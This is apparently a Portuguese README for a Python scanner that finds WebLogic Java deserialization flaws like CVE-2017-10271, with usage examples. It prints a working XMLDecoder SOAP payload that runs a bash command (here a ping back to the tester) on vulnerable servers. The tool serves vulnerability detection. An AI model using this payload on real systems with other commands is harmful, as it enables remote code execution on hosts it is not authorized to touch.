
Um scanner de vulnerabilidades de desserialização Java para vulnerabilidades semelhantes ao CVE-2017-10271.
Um scanner de vulnerabilidade de desserialização Java para vulnerabilidades como CVE-2017-10271. Este projeto contém apenas uma PoC, outras ainda não foram organizadas.
Instalar o nmap
https://nmap.org/download.html De acordo com o sistema operacional, baixe a versão apropriada e instale.
Instalar pacotes de terceiros
pip install -r requirements.txt
Escaneamento
Modifique a PoC, altere o endereço IP no comando ping para o seu próprio endereço IP
Modifique o código sniff na linha 25
sniff(filter='icmp and yourIP',prn=packet_callback)
java_scan.py -i Endereço IP [opções] java_scan.py -h para obter ajuda
Antes de usar, certifique-se de modificar a PoC, alterando o endereço IP no comando ping para o seu próprio endereço IP
A PoC consiste em dois arquivos no formato JSON, adequados para Windows e Linux respectivamente (atualmente não há funcionalidade para especificar o caminho da PoC; essa funcionalidade será adicionada em versões futuras). Certifique-se de nomear as PoCs como poc.json e poc_win.json no diretório do programa.
Sobre o formato da PoC (versão Linux; versão Windows é semelhante)
{
"url":"wls-wsat/CoordinatorPortType",
"header": "Content-Type:text/xml",
"data": [
"<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'>",
"<soapenv:Header>",
"<work:WorkContext xmlns:work='http://bea.com/2004/06/soap/workarea/'>",
"<java version='1.8.0_131' class='java.beans.XMLDecoder'>",
"<void class='java.lang.ProcessBuilder'>",
"<array class='java.lang.String' length='3'>",
"<void index='0'>",
"<string>/bin/bash</string>",
"</void>",
"<void index='1'>",
"<string>-c</string>",
"</void>",
"<void index='2'>",
"<string>ping 10.60.18.5 -c 2</string>",
"</void>",
"</array>",
"<void method='start'/></void>",
"</java>",
"</work:WorkContext>",
"</soapenv:Header>",
"<soapenv:Body/>",
"</soapenv:Envelope>"
]
}
url especifica o diretório de exploração da vulnerabilidade, header especifica o conteúdo do cabeçalho adicionado no pacote POST, data é o conteúdo serializado a ser enviado.
Nota: esta PoC faz com que o host vulnerável retorne 2 pacotes ping. O programa só pode determinar a existência da vulnerabilidade ao detectar pacotes ICMP.
A varredura padrão do programa chama o nmap para escanear a rede local
java_scan.py -i 192.168.0.1
Isso escaneia a porta 7001 do host 192.168.0.1
Especificar um único IP e porta
java_scan.py -i 192.168.0.1 -p 7001
Especificar múltiplos IPs e portas
java_scan.py -i 192.168.0.1,2,55 -p 7001,8001,9001
Especificar faixa de IP e faixa de porta
java_scan.py -i 192.168.0.1-255 -p 7000-8000
Use o parâmetro -f para chamar o socket para uma detecção rápida de portas
java_scan.py -i 192.168.0.1-255 -p 7001 -f
Especificar o número de threads para detecção rápida de portas
java_scan.py -i 192.168.0.1-255 -p 7001 -f -t 100
